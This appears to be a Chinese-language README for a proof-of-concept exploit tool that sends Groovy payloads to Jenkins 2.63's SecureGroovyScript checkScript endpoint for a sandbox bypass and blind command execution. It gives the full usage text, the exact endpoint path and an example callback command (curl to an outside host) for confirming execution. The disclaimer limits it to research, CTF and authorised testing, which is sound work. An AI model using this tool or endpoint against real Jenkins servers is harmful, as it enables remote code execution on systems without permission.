该项目自动化了创建并向 Jenkins 2.63 所使用的 SecureGroovyScript 验证端点投递 Groovy 载荷的过程。
该工具支持交互模式和一次性执行模式。由于漏洞利用不会返回输出,你需要自行进行一些验证(例如调用你的 AP)来确认其是否生效。
该工具支持:
免责声明
本项目仅用于安全研究、CTF、实验环境以及授权的渗透测试。禁止在未获明确许可的情况下对任何系统使用。
usage: Poc.py -u http://10.10.10.10:8080/ [-c 'curl http://10.10.10.9/callback'] [-X POST] [-p /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript]
PoC for sandbox bypass for jenkins 2.63
options:
-h, --help show this help message and exit
-u, --url URL ip of target
-X, --method METHOD post or get
-b, --breadcrum BREADCRUM
optional jenkins crumb string
-c, --command COMMAND
command to run on jenkins, not output expected
-p, --path PATH path to the script, you might prepend more
省略 -c 选项可进入交互式提示界面。示例见下文,遗憾的是没有输出返回,只要没有收到 404 错误,就说明它应该可以工作。
